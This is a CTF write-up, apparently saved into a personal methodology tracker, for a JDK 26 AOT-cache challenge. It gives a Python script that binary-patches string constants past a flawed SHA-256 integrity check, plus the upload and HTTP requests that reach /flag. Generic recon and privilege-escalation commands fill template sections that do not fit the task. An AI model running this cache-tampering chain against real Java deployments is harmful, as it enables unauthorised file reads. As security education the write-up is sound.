← Back to Writeups
HTBN/AReversing

Leftover Leftovers

XESXOR8/23/20268 min read
#reversing#htb#n/a

Leftover Leftovers

Platform: GPN CTF | Category: Reversing | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-05-30 | Status: Solved Techniques: aot_cache_bytecode_recovery, attach_api_agent, hash_collision_blind_spot, java_instrument_retransform, multipart_upload_chain, path_normalization_traversal, symbol_vs_heap_string_patch

Summary

Task: hybrid reverse/web challenge on JDK 26 AOT cache (Project Leyden/CDS-AOT); app bytecode lives only inside a 53 MB .aot cache, uploaded to an OuterServer that SHA-256 verifies it before Stage 2 loads it. Solution: recover bytecode via java.lang.instrument + Attach API retransform, find that the integrity hash covers CP slot pointers and bytecode but never the underlying Symbol/heap-String bytes, binary-patch the 'images' folder constant to '//////' at two offsets so Path.of resolves to /flag while keeping the Total hash unchanged, upload, then read /images/flag.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: gpnctf2026 | ID: 20260530_gpnctf2026_leftover_leftovers
  • Tags: path_traversal, java, binary_patching, jdk26, aot_cache, cds, project_leyden, javalin, jackson, hash_blind_spot
  • Indicators: JDK AOT/CDS cache file (.aot) as handout, application classes absent from jar (compiled -g:none), custom OpenJDK fastdebug build shipped, AOTCache flag in exec.sh, integrity check hashes CP slot pointers + bytecode but not string bytes
  • Source: 20260530_gpnctf2026_leftover_leftovers.md

Foothold

Vulnerability / Misconfiguration

  1. Aot_cache_bytecode_recovery
  2. Attach_api_agent
  3. Hash_collision_blind_spot
  4. Java_instrument_retransform
  5. Multipart_upload_chain
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • aot_cache_bytecode_recovery
  • attach_api_agent
  • hash_collision_blind_spot
  • java_instrument_retransform
  • multipart_upload_chain
  • path_normalization_traversal
  • symbol_vs_heap_string_patch
  • Tags: path_traversal, java, binary_patching, jdk26, aot_cache, cds, project_leyden, javalin, jackson, hash_blind_spot

Original Writeup

<details><summary>Click to expand original content</summary>

Description

You caught me, I was a bit cheeky with the last one! To make up for it, you can now supply me with some delicious, edible, eatable and completely safe food. I hear you had something cooking the other day? It's probably still good! PS: Sorting my leftovers first sounds like a good idea :)

A hybrid reverse-engineering + web challenge built around the JDK 26 AOT cache (Project Leyden / CDS-AOT). This is the sequel to "Leftovers" (leftovers1), where the /set-image-dir route let you point the image directory at /flag. That path is now disabled, forcing exploitation through the AOT cache itself.

Goal: read /flag (also /flag.txt) on the remote.

Analysis

Handout layout

  • exec.sh runs two stages:
  • Stage 1 (OuterServer): java -XX:AOTCache=outer-cache.aot -cp leftovers2.jar de.kitctf.gpn24.leftovers2.OuterServer serve /tmp/cache.aot cache.aot
  • Stage 2 (Server): java -XX:AOTCache=/tmp/cache.aot -jar leftovers2.jar
  • leftovers2.jar — Javalin 7.2.0 + Jackson 2.21.2 + Kotlin stdlib + Jetty 12.1.8. The de.kitctf application classes are NOT in the jar (compiled with -g:none); they exist only inside the AOT cache.
  • cache.aot (53 MB) — inner AOT cache with the Stage 2 server bytecode.
  • outer-cache.aot (38 MB) — AOT cache for the OuterServer (Stage 1).
  • my-jdk/ — custom OpenJDK 26/27 fastdebug build (Linux x86-64), commit 35b0de3d4d4e8212227af5462fafbd464103f058.
  • leftovers-padding.bin (125352 bytes in jar) — unused decoy.

The key insight: whatever cache you upload to Stage 1 becomes /tmp/cache.aot, which Stage 2 then loads. Controlling a string constant in the cache controls Stage 2's runtime behavior — if you can get past the integrity check.

Recovering bytecode that only lives in the AOT cache

strings cache.aot revealed the class names: de/kitctf/gpn24/leftovers/{Server, Product, ImageStore, State, Server$1ProductInput, Server$1SetImageDir} and the leftovers2 AOT-reader helpers (OuterServer, AotCache, ArchiveReader, SymbolView, ConstMethodView, InstanceKlassView, etc.).

To recover the actual bytecode I used java.lang.instrument:

  1. A ClassFileTransformer that dumps any class whose name starts with de/kitctf to disk.
  2. Stage 1 (OuterServer): attach the agent at runtime via the Attach API (VirtualMachine.attach(pid).loadAgent(agent.jar)) and call Instrumentation.retransformClasses on all de.kitctf classes.
  3. Stage 2 (Server): run java -XX:AOTCache=cache.aot -jar leftovers2.jar normally, then attach + retransform.

Why not -javaagent at launch? Adding the java.instrument module breaks AOT cache mapping: Mismatched values for property jdk.module.addmods: java.instrument specified during runtime but not during dump time and AOT cache has aot-linked classes. Runtime attach + retransform avoids touching the module set.

Reconstruct the package tree from the flattened filenames and decompile with jadx.

The integrity check (OuterServer.verifyStuff) — the blind spot

Stage 1 exposes two routes on port 1337:

  • POST /init — saves the uploaded cache.aot field to /tmp/cache.aot, opens it with the custom AotCache reader, runs verifyStuff(). If verifyStuff(uploaded).equals(expectedHash)System.exit(0) (success). expectedHash is computed at startup from the genuine cache = 7aa5a496dde0fd1be5ef18ef2d5bf8acea749bf5647e31d34d4c0f0707bae5a3.
  • GET /cache — serves the genuine cache bytes.

verifyStuff computes a SHA-256 Total hash over all classes (sorted by class name → "Sorting my leftovers first"). Per class it hashes:

  • Constant-pool entries: for each entry, Integer.toString(index), Integer.toString(tag), Integer.toString(rawInt), Long.toString(rawLong). For a Utf8/Symbol entry the slot holds a pointer to the Symbol (rawLong), not the string bytes. The decoded displayValue (the actual string) is not hashed for CP entries.
  • Methods (sorted by address): accessFlags, codeSize, flags, maxLocals, maxStack, the bytecode bytes, and the method name + signature displayValues.

The bug: the byte content of Symbol strings and of archived-heap java.lang.String byte[] values is never hashed — only the CP slot pointer and the method name/signature strings. So you can change a string constant's bytes without changing the Total hash.

Stage 2 (Server) — the target logic

Routes (Javalin, port 1337):

  • GET / — list products (HTML).
  • PUT /products/{name} — Jackson-deserializes a record ProductInput { @JsonUnwrapped Product product; URI imageUrl }. Validates name match, quantity>0, non-null bestBefore/notAfter, and imageUrl scheme http/https. Adds the product (optionally downloads an image).
  • GET /images/{name} — finds the product by name, then ImageStore.getImage(product)folderPath.resolve(sanitizeName(product.name())), returning the file if it exists, is a regular file, and is readable. sanitizeName replaces every char NOT in [a-zA-Z0-9_-] with _ (so a product named flag stays flag, but / in the name is killed → no traversal via product name).
  • POST /set-image-dirdead: a validator is check(c -> false, "Password login is currently disabled"). This is leftovers1's exploit path, now disabled ("cheeky with the last one").

ImageStore default folder = Path.of("images") — a string constant living in the inner cache. Since traversal via name is blocked, we instead change the "images" folder constant so that folderPath.resolve("flag") == /flag.

Solution

1. Pick a same-length replacement string

"images" is 6 bytes. We need a 6-byte path whose .resolve("flag") yields /flag:

Path.of("//////").resolve("flag")  ==  /flag   (readable regular file)

Six forward slashes (//////, 6 bytes) normalize to the filesystem root, so we keep the exact byte length and avoid shifting the file layout.

2. Locate the two "images" copies in cache.aot

There are two occurrences that both matter:

OffsetWhat it isLayout
0x146655eSymbol body (backs the CP Utf8 entry)length = unsigned short at body-2 (bytes 06 00), UTF-8 bytes start at body
0x324eb80Archived-heap java.lang.String byte[]4-byte int length (06 00 00 00) followed by the 6 ASCII bytes

Patching only the Symbol at 0x146655e was not enough — the request still returned 404. At runtime Path.of("images") materializes the interned String constant from the archived-heap String byte[], so the copy at 0x324eb80 is the one that actually drives folderPath. Patch both.

3. Patch and verify the hash is unchanged

#!/usr/bin/env python3
# Patch the two "images" constants in cache.aot to "//////" (same 6-byte length).
data = bytearray(open("cache.aot", "rb").read())

OLD = b"images"
NEW = b"//////"
for off in (0x146655e, 0x324eb80):
    assert data[off:off+6] == OLD, (hex(off), data[off:off+6])
    data[off:off+6] = NEW

open("cache_patched2.aot", "wb").write(data)
print("patched", len(data), "bytes")

Re-running OuterServer's verifyStuff over cache_patched2.aot yields the identical Total hash:

7aa5a496dde0fd1be5ef18ef2d5bf8acea749bf5647e31d34d4c0f0707bae5a3

So /init verification passes even though Stage 2 will now use / as the image folder.

4. Upload chain → flag

Step A — upload patched cache to Stage 1 as multipart form-data:

POST /init HTTP/1.1
Content-Type: multipart/form-data; boundary=----X

------X
Content-Disposition: form-data; name="cache.aot"; filename="cache.aot"
Content-Type: application/octet-stream

<bytes of cache_patched2.aot>
------X--

The field name must be exactly cache.aot. On success the server calls System.exit(0), so the connection drops with no HTTP response (HTTP/1.1 header parser received no bytes). That dropped connection is the success signal. exec.sh then launches Stage 2 with our patched /tmp/cache.aot.

Step B — add a product named flag once Stage 2 is up:

PUT /products/flag HTTP/1.1
Content-Type: application/json

{"name":"flag","quantity":1,"bestBefore":"2030-01-01T00:00:00","notAfter":"2030-01-01T00:00:00"}

Response: Added product :).

Step C — read the file:

GET /images/flag

ImageStore resolves Path.of("//////").resolve("flag") == /flag, which is a readable regular file → the flag is returned in the response body.

Remote run

The instance served Stage 1 (GET /cache returned the 53 MB cache, /init present). Upload → PUT product → GET /images/flag:

GPNCTF{REDACTED}

The flag itself states the intended lesson: "I hope the cache is never provided by libraries" — AOT/CDS caches must never be loaded from untrusted or library-provided sources.

</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR